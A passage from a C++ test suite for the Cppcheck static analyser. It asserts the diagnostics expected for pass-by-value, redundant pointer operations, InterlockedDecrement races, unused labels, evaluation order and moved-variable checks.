ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B 